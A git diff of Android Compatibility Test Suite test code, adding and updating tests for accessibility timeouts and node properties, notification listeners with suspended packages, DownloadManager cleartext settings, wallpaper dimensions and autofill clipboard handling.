+        PollingCheck.waitFor(() -> mAccessibilityManager.getMinimumUiTimeoutMillis() == 6000);
+        turnOffMinimumUiTimoutSettings(automan);
+        PollingCheck.waitFor(() -> mAccessibilityManager.getMinimumUiTimeoutMillis() == 2000);
+        automan.destroy();
+    }
+
     private void assertAtomicBooleanBecomes(AtomicBoolean atomicBoolean,
             boolean expectedValue, Object waitObject, String message)
             throws Exception {
@@ -366,4 +391,24 @@
         mAccessibilityManager.removeAccessibilityStateChangeListener(listener);
         assertTrue("Timed out enabling accessibility", mAccessibilityManager.isEnabled());
     }
+
+    private void turnOffMinimumUiTimoutSettings(UiAutomation automan) {
+        putSecureSetting(automan, ACCESSIBILITY_MINIMUM_UI_TIMEOUT_ENABLED, null);
+        putSecureSetting(automan, ACCESSIBILITY_MINIMUM_UI_TIMEOUT_MS, null);
+    }
+
+    private void turnOnMinimumUiTimoutSettings(UiAutomation automan, int timeout) {
+        putSecureSetting(automan, ACCESSIBILITY_MINIMUM_UI_TIMEOUT_ENABLED, "1");
+        putSecureSetting(automan, ACCESSIBILITY_MINIMUM_UI_TIMEOUT_MS, Integer.toString(timeout));
+    }
+
+    private void putSecureSetting(UiAutomation automan, String name, String value) {
+        ContentResolver cr = getInstrumentation().getContext().getContentResolver();
+        automan.adoptShellPermissionIdentity();
+        try {
+            Settings.Secure.putString(cr, name, value);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+    }
 }
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfoTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfoTest.java
index 720a4e0..7914b96 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfoTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfoTest.java
@@ -279,9 +279,10 @@
         info.setImportantForAccessibility(true);
         info.setScreenReaderFocusable(true);
 
-        // 2 Boolean properties, for a total of 22
+        // 3 Boolean properties, for a total of 23
         info.setShowingHintText(true);
         info.setHeading(true);
+        info.setTextEntryKey(true);
     }
 
     /**
@@ -459,11 +460,13 @@
         assertSame("isScreenReaderFocusable has incorrect value",
                 expectedInfo.isScreenReaderFocusable(), receivedInfo.isScreenReaderFocusable());
 
-        // 2 Boolean properties, for a total of 22
+        // 3 Boolean properties, for a total of 23
         assertSame("isShowingHint has incorrect value",
                 expectedInfo.isShowingHintText(), receivedInfo.isShowingHintText());
         assertSame("isHeading has incorrect value",
                 expectedInfo.isHeading(), receivedInfo.isHeading());
+        assertSame("isTextEntryKey has incorrect value",
+                expectedInfo.isTextEntryKey(), receivedInfo.isTextEntryKey());
     }
 
     /**
@@ -546,8 +549,9 @@
                 info.isImportantForAccessibility());
         assertFalse("ScreenReaderFocusable not properly recycled", info.isScreenReaderFocusable());
 
-        // 2 Boolean properties
+        // 3 Boolean properties
         assertFalse("isShowingHint not properly reset", info.isShowingHintText());
         assertFalse("isHeading not properly reset", info.isHeading());
+        assertFalse("isTextEntryKey not properly reset", info.isTextEntryKey());
     }
 }
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java
index 799a43b..f98a210 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java
@@ -60,11 +60,12 @@
         AccessibilityServiceInfo speakingService = enabledServices.get(0);
         assertSame(AccessibilityEvent.TYPES_ALL_MASK, speakingService.eventTypes);
         assertSame(AccessibilityServiceInfo.FEEDBACK_SPOKEN, speakingService.feedbackType);
-        assertSame(AccessibilityServiceInfo.DEFAULT
+        assertEquals(AccessibilityServiceInfo.DEFAULT
                 | AccessibilityServiceInfo.FLAG_INCLUDE_NOT_IMPORTANT_VIEWS
                 | AccessibilityServiceInfo.FLAG_REQUEST_TOUCH_EXPLORATION_MODE
                 | AccessibilityServiceInfo.FLAG_REQUEST_FILTER_KEY_EVENTS
-                | AccessibilityServiceInfo.FLAG_REPORT_VIEW_IDS,
+                | AccessibilityServiceInfo.FLAG_REPORT_VIEW_IDS
+                | AccessibilityServiceInfo.FLAG_REQUEST_SHORTCUT_WARNING_DIALOG_SPOKEN_FEEDBACK,
                 speakingService.flags);
         assertSame(0l, speakingService.notificationTimeout);
         assertEquals("Some description", speakingService.getDescription());
@@ -80,5 +81,6 @@
         assertEquals("Some summary", speakingService.loadSummary(
                 getInstrumentation().getContext().getPackageManager()));
         assertNotNull(speakingService.getResolveInfo());
+        assertEquals(1000, speakingService.getMinimumUiTimeoutMillis());
     }
 }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
index c402330..5a5f7cf 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
@@ -18,6 +18,8 @@
 
 import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils
         .filterForEventType;
+import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.findWindowByTitle;
+import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.getActivityTitle;
 import static android.accessibilityservice.cts.utils.RunOnMainUtils.getOnMain;
 import static android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction
         .ACTION_HIDE_TOOLTIP;
@@ -30,6 +32,11 @@
 import static org.hamcrest.Matchers.in;
 import static org.hamcrest.Matchers.not;
 import static org.junit.Assert.assertThat;
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.argThat;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
 
 import android.accessibilityservice.cts.activities.AccessibilityEndToEndActivity;
 import android.app.Activity;
@@ -56,10 +63,14 @@
 import android.test.suitebuilder.annotation.MediumTest;
 import android.text.TextUtils;
 import android.util.Log;
+import android.view.MotionEvent;
 import android.view.View;
+import android.view.Window;
+import android.view.WindowManager;
 import android.view.accessibility.AccessibilityEvent;
 import android.view.accessibility.AccessibilityManager;
 import android.view.accessibility.AccessibilityNodeInfo;
+import android.view.accessibility.AccessibilityWindowInfo;
 import android.widget.Button;
 import android.widget.EditText;
 import android.widget.ListView;
@@ -700,6 +711,51 @@
         assertThat(labelForNode.getLabeledBy(), equalTo(editNode));
     }
 
+    @MediumTest
+    public void testA11yActionTriggerMotionEventActionOutside() throws Exception {
+        final Instrumentation instrumentation = getInstrumentation();
+        final UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
+        final View.OnTouchListener listener = mock(View.OnTouchListener.class);
+        final AccessibilityNodeInfo button = uiAutomation.getRootInActiveWindow()
+                .findAccessibilityNodeInfosByViewId(
+                        "android.accessibilityservice.cts:id/button")
+                .get(0);
+        final String title = getString(R.string.alert_title);
+
+        // Add a dialog that is watching outside touch
+        uiAutomation.executeAndWaitForEvent(
+                () -> instrumentation.runOnMainSync(() -> {
+                            final AlertDialog dialog = new AlertDialog.Builder(getActivity())
+                                    .setTitle(R.string.alert_title)
+                                    .setMessage(R.string.alert_message)
+                                    .create();
+                            final Window window = dialog.getWindow();
+                            window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+                                    | WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH);
+                            window.getDecorView().setOnTouchListener(listener);
+                            window.setTitle(title);
+                            dialog.show();
+                    }),
+                (event) -> {
+                    // Ensure the dialog is shown over the activity
+                    final AccessibilityWindowInfo dialog = findWindowByTitle(
+                            uiAutomation, title);
+                    final AccessibilityWindowInfo activity = findWindowByTitle(
+                            uiAutomation, getActivityTitle(instrumentation, getActivity()));
+                    return (dialog != null && activity != null)
+                            && (dialog.getLayer() > activity.getLayer());
+                }, TIMEOUT_ASYNC_PROCESSING);
+
+        // Perform an action and wait for an event
+        uiAutomation.executeAndWaitForEvent(
+                () -> button.performAction(AccessibilityNodeInfo.ACTION_CLICK),
+                filterForEventType(AccessibilityEvent.TYPE_VIEW_CLICKED), TIMEOUT_ASYNC_PROCESSING);
+
+        // Make sure the MotionEvent.ACTION_OUTSIDE is received.
+        verify(listener, timeout(TIMEOUT_ASYNC_PROCESSING).atLeastOnce()).onTouch(any(View.class),
+                argThat(event -> event.getActionMasked() == MotionEvent.ACTION_OUTSIDE));
+    }
+
     private static void assertPackageName(AccessibilityNodeInfo node, String packageName) {
         if (node == null) {
             return;
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityServiceInfoTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityServiceInfoTest.java
index b27ceaf..16c41eb 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityServiceInfoTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityServiceInfoTest.java
@@ -100,6 +100,17 @@
                 AccessibilityServiceInfo.FLAG_REQUEST_FILTER_KEY_EVENTS));
         assertEquals("FLAG_REQUEST_TOUCH_EXPLORATION_MODE", AccessibilityServiceInfo.flagToString(
                 AccessibilityServiceInfo.FLAG_REQUEST_TOUCH_EXPLORATION_MODE));
+        assertEquals("FLAG_RETRIEVE_INTERACTIVE_WINDOWS", AccessibilityServiceInfo.flagToString(
+                AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS));
+        assertEquals("FLAG_ENABLE_ACCESSIBILITY_VOLUME", AccessibilityServiceInfo.flagToString(
+                AccessibilityServiceInfo.FLAG_ENABLE_ACCESSIBILITY_VOLUME));
+        assertEquals("FLAG_REQUEST_ACCESSIBILITY_BUTTON", AccessibilityServiceInfo.flagToString(
+                AccessibilityServiceInfo.FLAG_REQUEST_ACCESSIBILITY_BUTTON));
+        assertEquals("FLAG_REQUEST_FINGERPRINT_GESTURES", AccessibilityServiceInfo.flagToString(
+                AccessibilityServiceInfo.FLAG_REQUEST_FINGERPRINT_GESTURES));
+        assertEquals("FLAG_REQUEST_SHORTCUT_WARNING_DIALOG_SPOKEN_FEEDBACK", AccessibilityServiceInfo.flagToString(
+                AccessibilityServiceInfo.FLAG_REQUEST_SHORTCUT_WARNING_DIALOG_SPOKEN_FEEDBACK));
+
     }
 
     /**
@@ -115,6 +126,7 @@
         sentInfo.packageNames = new String[] {
             "foo.bar.baz"
         };
+        sentInfo.setMinimumUiTimeoutMillis(2000);
     }
 
     /**
@@ -135,5 +147,7 @@
                 receivedInfo.packageNames.length);
         assertEquals("packageNames not marshalled properly", sentInfo.packageNames[0],
                 receivedInfo.packageNames[0]);
+        assertEquals("minimumUiTimeout not marshalled properly",
+                sentInfo.getMinimumUiTimeoutMillis(), receivedInfo.getMinimumUiTimeoutMillis());
     }
 }
diff --git a/tests/admin/app/AndroidManifest.xml b/tests/admin/app/AndroidManifest.xml
index 1d901a2..baff9ab 100644
--- a/tests/admin/app/AndroidManifest.xml
+++ b/tests/admin/app/AndroidManifest.xml
@@ -18,6 +18,8 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="android.admin.app">
+    <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="28"/>
+
     <application android:testOnly="true">
 
         <uses-library android:name="android.test.runner"/>
diff --git a/tests/app/app/AndroidManifest.xml b/tests/app/app/AndroidManifest.xml
index 563dba4..91556be 100644
--- a/tests/app/app/AndroidManifest.xml
+++ b/tests/app/app/AndroidManifest.xml
@@ -348,9 +348,9 @@
             </meta-data>
         </service>
 
-        <service android:name="android.app.stubs.MockNotificationListener"
+        <service android:name="android.app.stubs.TestNotificationListener"
                  android:exported="true"
-                 android:label="MockNotificationListener"
+                 android:label="TestNotificationListener"
                  android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
             <intent-filter>
                 <action android:name="android.service.notification.NotificationListenerService" />
diff --git a/tests/app/app/src/android/app/stubs/MockNotificationListener.java b/tests/app/app/src/android/app/stubs/TestNotificationListener.java
similarity index 83%
rename from tests/app/app/src/android/app/stubs/MockNotificationListener.java
rename to tests/app/app/src/android/app/stubs/TestNotificationListener.java
index d47b2b1..c9d08d2 100644
--- a/tests/app/app/src/android/app/stubs/MockNotificationListener.java
+++ b/tests/app/app/src/android/app/stubs/TestNotificationListener.java
@@ -22,7 +22,7 @@
 
 import java.util.ArrayList;
 
-public class MockNotificationListener extends NotificationListenerService {
+public class TestNotificationListener extends NotificationListenerService {
     public static final String TAG = "TestNotificationListener";
     public static final String PKG = "android.app.stubs";
 
@@ -32,17 +32,17 @@
     public ArrayList<StatusBarNotification> mRemoved = new ArrayList<>();
     public RankingMap mRankingMap;
 
-    private static MockNotificationListener sNotificationListenerInstance = null;
+    private static TestNotificationListener sNotificationListenerInstance = null;
     boolean isConnected;
 
     public static String getId() {
-        return String.format("%s/%s", MockNotificationListener.class.getPackage().getName(),
-                MockNotificationListener.class.getName());
+        return String.format("%s/%s", TestNotificationListener.class.getPackage().getName(),
+                TestNotificationListener.class.getName());
     }
 
     public static ComponentName getComponentName() {
-        return new ComponentName(MockNotificationListener.class.getPackage().getName(),
-                MockNotificationListener.class.getName());
+        return new ComponentName(TestNotificationListener.class.getPackage().getName(),
+                TestNotificationListener.class.getName());
     }
 
     @Override
@@ -63,7 +63,7 @@
         isConnected = false;
     }
 
-    public static MockNotificationListener getInstance() {
+    public static TestNotificationListener getInstance() {
         return sNotificationListenerInstance;
     }
 
@@ -75,12 +75,14 @@
     @Override
     public void onNotificationPosted(StatusBarNotification sbn, RankingMap rankingMap) {
         if (!mTestPackages.contains(sbn.getPackageName())) { return; }
+        mRankingMap = rankingMap;
         mPosted.add(sbn);
     }
 
     @Override
     public void onNotificationRemoved(StatusBarNotification sbn, RankingMap rankingMap) {
         if (!mTestPackages.contains(sbn.getPackageName())) { return; }
+        mRankingMap = rankingMap;
         mRemoved.add(sbn);
     }
 
diff --git a/tests/app/src/android/app/cts/DownloadManagerTest.java b/tests/app/src/android/app/cts/DownloadManagerTest.java
index 873647f..6e79531 100644
--- a/tests/app/src/android/app/cts/DownloadManagerTest.java
+++ b/tests/app/src/android/app/cts/DownloadManagerTest.java
@@ -22,7 +22,10 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
+import android.content.pm.ProviderInfo;
 import android.database.Cursor;
 import android.net.Uri;
 import android.os.Environment;
@@ -320,6 +323,40 @@
         }
     }
 
+    private String cannonicalizeProcessName(ApplicationInfo ai) {
+        return cannonicalizeProcessName(ai.processName, ai);
+    }
+
+    private String cannonicalizeProcessName(String process, ApplicationInfo ai) {
+        if (process == null) {
+            return null;
+        }
+        // Handle private scoped process names.
+        if (process.startsWith(":")) {
+            return ai.packageName + process;
+        }
+        return process;
+    }
+
+    public void testProviderAcceptsCleartext() throws Exception {
+        // Check that all the applications that share an android:process with the DownloadProvider
+        // accept cleartext traffic. Otherwise process loading races can lead to inconsistent flags.
+        final PackageManager pm = getContext().getPackageManager();
+        ProviderInfo downloadInfo = pm.resolveContentProvider("downloads", 0);
+        assertNotNull(downloadInfo);
+        String downloadProcess
+                = cannonicalizeProcessName(downloadInfo.processName, downloadInfo.applicationInfo);
+
+        for (PackageInfo pi : getContext().getPackageManager().getInstalledPackages(0)) {
+            if (downloadProcess.equals(cannonicalizeProcessName(pi.applicationInfo))) {
+                assertTrue("package: " + pi.applicationInfo.packageName
+                        + " must set android:usesCleartextTraffic=true"
+                        ,(pi.applicationInfo.flags & ApplicationInfo.FLAG_USES_CLEARTEXT_TRAFFIC)
+                        != 0);
+            }
+        }
+    }
+
     private class DownloadCompleteReceiver extends BroadcastReceiver {
         private HashSet<Long> mCompleteIds = new HashSet<>();
 
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index 3f61605..aaaa140 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -34,7 +34,7 @@
 import android.app.NotificationManager;
 import android.app.PendingIntent;
 import android.app.UiAutomation;
-import android.app.stubs.MockNotificationListener;
+import android.app.stubs.TestNotificationListener;
 import android.app.stubs.R;
 import android.content.ComponentName;
 import android.content.Context;
@@ -76,7 +76,7 @@
     private NotificationManager mNotificationManager;
     private ActivityManager mActivityManager;
     private String mId;
-    private MockNotificationListener mListener;
+    private TestNotificationListener mListener;
 
     @Override
     protected void setUp() throws Exception {
@@ -110,7 +110,7 @@
             mNotificationManager.deleteNotificationChannel(nc.getId());
         }
 
-        toggleListenerAccess(MockNotificationListener.getId(),
+        toggleListenerAccess(TestNotificationListener.getId(),
                 InstrumentationRegistry.getInstrumentation(), false);
 
         List<NotificationChannelGroup> groups = mNotificationManager.getNotificationChannelGroups();
@@ -474,11 +474,11 @@
             return;
         }
 
-        toggleListenerAccess(MockNotificationListener.getId(),
+        toggleListenerAccess(TestNotificationListener.getId(),
                 InstrumentationRegistry.getInstrumentation(), true);
         Thread.sleep(500); // wait for listener to be allowed
 
-        mListener = MockNotificationListener.getInstance();
+        mListener = TestNotificationListener.getInstance();
         assertNotNull(mListener);
 
         sendNotification(1, R.drawable.black);
@@ -515,6 +515,52 @@
         mListener.resetData();
     }
 
+    public void testSuspendedPackageSendsNotification() throws Exception {
+        if (mActivityManager.isLowRamDevice() && !mPackageManager.hasSystemFeature(FEATURE_WATCH)) {
+            return;
+        }
+
+        toggleListenerAccess(TestNotificationListener.getId(),
+                InstrumentationRegistry.getInstrumentation(), true);
+        Thread.sleep(500); // wait for listener to be allowed
+
+        mListener = TestNotificationListener.getInstance();
+        assertNotNull(mListener);
+
+        // suspend package, post notification while package is suspended, see notification
+        // in ranking map with suspended = true
+        suspendPackage(mContext.getPackageName(), InstrumentationRegistry.getInstrumentation(),
+                true);
+        sendNotification(1, R.drawable.black);
+        Thread.sleep(500); // wait for notification listener to receive notification
+        assertEquals(1, mListener.mPosted.size()); // apps targeting P receive notification
+        NotificationListenerService.RankingMap rankingMap = mListener.mRankingMap;
+        NotificationListenerService.Ranking outRanking = new NotificationListenerService.Ranking();
+        for (String key : rankingMap.getOrderedKeys()) {
+            if (key.contains(mListener.getPackageName())) {
+                rankingMap.getRanking(key, outRanking);
+                Log.d(TAG, "key=" + key + " suspended=" + outRanking.isSuspended());
+                assertTrue(outRanking.isSuspended());
+            }
+        }
+
+        // unsuspend package, ranking should be updated with suspended = false
+        suspendPackage(mContext.getPackageName(), InstrumentationRegistry.getInstrumentation(),
+                false);
+        Thread.sleep(500); // wait for notification listener to get response
+        assertEquals(1, mListener.mPosted.size()); // should see previously posted notification
+        rankingMap = mListener.mRankingMap;
+        for (String key : rankingMap.getOrderedKeys()) {
+            if (key.contains(mListener.getPackageName())) {
+                rankingMap.getRanking(key, outRanking);
+                Log.d(TAG, "key=" + key + " suspended=" + outRanking.isSuspended());
+                assertFalse(outRanking.isSuspended());
+            }
+        }
+
+        mListener.resetData();
+    }
+
     public void testNotify_blockedChannel() throws Exception {
         mNotificationManager.cancelAll();
 
@@ -1067,8 +1113,7 @@
 
     private void suspendPackage(String packageName,
             Instrumentation instrumentation, boolean suspend) throws IOException {
-        String command = " cmd notification " + (suspend ? "suspend_package "
-                : "unsuspend_package ") + packageName;
+        String command = " cmd package " + (suspend ? "suspend " : "unsuspend ") + packageName;
 
         runCommand(command, instrumentation);
     }
@@ -1082,7 +1127,7 @@
         runCommand(command, instrumentation);
 
         final NotificationManager nm = mContext.getSystemService(NotificationManager.class);
-        final ComponentName listenerComponent = MockNotificationListener.getComponentName();
+        final ComponentName listenerComponent = TestNotificationListener.getComponentName();
         assertTrue(listenerComponent + " has not been granted access",
                 nm.isNotificationListenerAccessGranted(listenerComponent) == on);
     }
diff --git a/tests/app/src/android/app/cts/WallpaperManagerTest.java b/tests/app/src/android/app/cts/WallpaperManagerTest.java
index e267503..cc1d479 100644
--- a/tests/app/src/android/app/cts/WallpaperManagerTest.java
+++ b/tests/app/src/android/app/cts/WallpaperManagerTest.java
@@ -226,31 +226,31 @@
      * Suggesting desired dimensions is only a hint to the system that can be ignored.
      *
      * Test if the desired minimum width or height the WallpaperManager returns
-     * is greater than 0. If so, then we check whether that the size is at least the
-     * as big as the screen.
+     * is greater than 0. If so, then we check whether that the size is the dimension
+     * that was suggested.
      */
     @Test
     public void suggestDesiredDimensionsTest() {
         final Point min = getScreenSize();
         final int w = min.x * 3;
         final int h = min.y * 2;
-        assertDesiredMinimum(new Point(min.x / 2, min.y / 2), min);
+        assertDesiredDimension(new Point(min.x / 2, min.y / 2), new Point(min.x / 2, min.y / 2));
 
-        assertDesiredMinimum(new Point(w, h), min);
+        assertDesiredDimension(new Point(w, h), new Point(w, h));
 
-        assertDesiredMinimum(new Point(min.x / 2, h), min);
+        assertDesiredDimension(new Point(min.x / 2, h), new Point(min.x / 2, h));
 
-        assertDesiredMinimum(new Point(w, min.y / 2), min);
+        assertDesiredDimension(new Point(w, min.y / 2), new Point(w, min.y / 2));
     }
 
-    private void assertDesiredMinimum(Point suggestedSize, Point minSize) {
+    private void assertDesiredDimension(Point suggestedSize, Point expectedSize) {
         mWallpaperManager.suggestDesiredDimensions(suggestedSize.x, suggestedSize.y);
         Point actualSize = new Point(mWallpaperManager.getDesiredMinimumWidth(),
                 mWallpaperManager.getDesiredMinimumHeight());
         if (actualSize.x > 0 || actualSize.y > 0) {
-            if ((actualSize.x < minSize.x || actualSize.y < minSize.y)) {
-                throw new AssertionError("Expected at least x: " + minSize.x + " y: "
-                        + minSize.y + ", got x: " + actualSize.x +
+            if ((actualSize.x != expectedSize.x || actualSize.y != expectedSize.y)) {
+                throw new AssertionError("Expected x: " + expectedSize.x + " y: "
+                        + expectedSize.y + ", got x: " + actualSize.x +
                         " y: " + actualSize.y);
             }
         }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
index d080e5c..55729af 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
@@ -19,9 +19,11 @@
 import static android.autofillservice.cts.Helper.getContext;
 import static android.autofillservice.cts.InstrumentedAutoFillService.SERVICE_NAME;
 import static android.autofillservice.cts.common.ShellHelper.runShellCommand;
+import static android.content.Context.CLIPBOARD_SERVICE;
 
 import android.autofillservice.cts.InstrumentedAutoFillService.Replier;
 import android.autofillservice.cts.common.SettingsStateKeeperRule;
+import android.content.ClipboardManager;
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
@@ -247,6 +249,9 @@
 
             // Wait until device is idle to avoid flakiness
             mUiBot.waitForIdle();
+
+            // Clear Clipboard
+            ((ClipboardManager) mContext.getSystemService(CLIPBOARD_SERVICE)).clearPrimaryClip();
         }
 
         @Before
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
index 7ea52d2..4229ef7 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
@@ -22,9 +22,6 @@
 import android.os.Bundle;
 import android.text.TextUtils;
 import android.util.Log;
-import android.view.ActionMode;
-import android.view.Menu;
-import android.view.MenuItem;
 import android.view.View.OnClickListener;
 import android.view.inputmethod.InputMethodManager;
 import android.widget.Button;
@@ -102,42 +99,6 @@
             getAutofillManager().cancel();
         });
         mCancelButton.setOnClickListener((OnClickListener) v -> finish());
-
-        // Create a custom insertion callback so it just show the AUTOFILL item, otherwise CTS
-        // testAutofillManuallyOneDataset() will fail if a previous test set the clipboard
-        // TODO(b/71711122): remove once there's a proper way to reset the clipboard
-        mUsernameEditText.setCustomInsertionActionModeCallback(new ActionMode.Callback() {
-
-            @Override
-            public boolean onPrepareActionMode(ActionMode mode, Menu menu) {
-                final String autofillTitle = AutoFillServiceTestCase.sDefaultUiBot
-                        .getAutofillContextualMenuTitle();
-                for (int i = 0; i < menu.size(); i++) {
-                    final MenuItem item = menu.getItem(i);
-                    final String title = item.getTitle().toString();
-                    if (!title.equals(autofillTitle)) {
-                        Log.v(TAG, "onPrepareActionMode(): ignoring " + title);
-                        menu.removeItem(item.getItemId());
-                    }
-                }
-                return true;
-            }
-
-            @Override
-            public void onDestroyActionMode(ActionMode mode) {
-
-            }
-
-            @Override
-            public boolean onCreateActionMode(ActionMode mode, Menu menu) {
-                return true;
-            }
-
-            @Override
-            public boolean onActionItemClicked(ActionMode mode, MenuItem item) {
-                return false;
-            }
-        });
     }
 
     protected int getContentView() {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index 7004afa..d6df9dd 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -42,6 +42,7 @@
 import static android.autofillservice.cts.LoginActivity.getWelcomeMessage;
 import static android.autofillservice.cts.common.ShellHelper.runShellCommand;
 import static android.autofillservice.cts.common.ShellHelper.tap;
+import static android.content.Context.CLIPBOARD_SERVICE;
 import static android.service.autofill.FillRequest.FLAG_MANUAL_REQUEST;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
@@ -63,6 +64,8 @@
 import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
 import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
 import android.content.BroadcastReceiver;
+import android.content.ClipData;
+import android.content.ClipboardManager;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
@@ -1929,6 +1932,38 @@
 
         // And activity.
         mActivity.onUsername((v) -> v.setImportantForAutofill(IMPORTANT_FOR_AUTOFILL_NO));
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Explicitly uses the contextual menu to test that functionality.
+        mUiBot.getAutofillMenuOption(ID_USERNAME, false).click();
+
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+        assertHasFlags(fillRequest.flags, FLAG_MANUAL_REQUEST);
+
+        // Should have been automatically filled.
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    public void testAutofillManuallyOneDatasetWhenClipboardFull() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set clipboard.
+        ClipboardManager cm = (ClipboardManager) mActivity.getSystemService(CLIPBOARD_SERVICE);
+        cm.setPrimaryClip(ClipData.newPlainText(null, "test"));
+
+        // And activity.
+        mActivity.onUsername((v) -> v.setImportantForAutofill(IMPORTANT_FOR_AUTOFILL_NO));
 
         // Set expectations.
         sReplier.addResponse(new CannedDataset.Builder()
@@ -1939,7 +1974,7 @@
         mActivity.expectAutoFill("dude", "sweet");
 
         // Explicitly uses the contextual menu to test that functionality.
-        mUiBot.getAutofillMenuOption(ID_USERNAME).click();
+        mUiBot.getAutofillMenuOption(ID_USERNAME, true).click();
 
         final FillRequest fillRequest = sReplier.getNextFillRequest();
         assertHasFlags(fillRequest.flags, FLAG_MANUAL_REQUEST);
@@ -1949,6 +1984,9 @@
 
         // Check the results.
         mActivity.assertAutoFilled();
+
+        // clear clipboard
+        cm.clearPrimaryClip();
     }
 
     @Test
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultiScreenLoginTest.java b/tests/autofillservice/src/android/autofillservice/cts/MultiScreenLoginTest.java
index b3ca63c..3d042f1 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/MultiScreenLoginTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/MultiScreenLoginTest.java
@@ -15,7 +15,7 @@
  */
 package android.autofillservice.cts;
 
-import static android.autofillservice.cts.CustomDescriptionHelper.newCustomDescriptionWithHiddenFields;
+import static android.autofillservice.cts.CustomDescriptionHelper.newCustomDescriptionWithUsernameAndPassword;
 import static android.autofillservice.cts.Helper.ID_PASSWORD;
 import static android.autofillservice.cts.Helper.ID_PASSWORD_LABEL;
 import static android.autofillservice.cts.Helper.ID_USERNAME;
@@ -371,7 +371,7 @@
         sReplier.addResponse(new CannedFillResponse.Builder()
                 .setRequiredSavableAutofillIds(SAVE_DATA_TYPE_USERNAME | SAVE_DATA_TYPE_PASSWORD,
                         passwordId)
-                .setCustomDescription(newCustomDescriptionWithHiddenFields()
+                .setCustomDescription(newCustomDescriptionWithUsernameAndPassword()
                         .addChild(R.id.username, usernameTrans)
                         .addChild(R.id.password, passwordTrans)
                         .build())
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
index 42fa771..8613cc3 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
@@ -79,6 +79,7 @@
     private static final String RESOURCE_ID_CONTEXT_MENUITEM = "floating_toolbar_menu_item_text";
     private static final String RESOURCE_ID_SAVE_BUTTON_NO = "autofill_save_no";
     private static final String RESOURCE_ID_SAVE_BUTTON_YES = "autofill_save_yes";
+    private static final String RESOURCE_ID_OVERFLOW = "overflow";
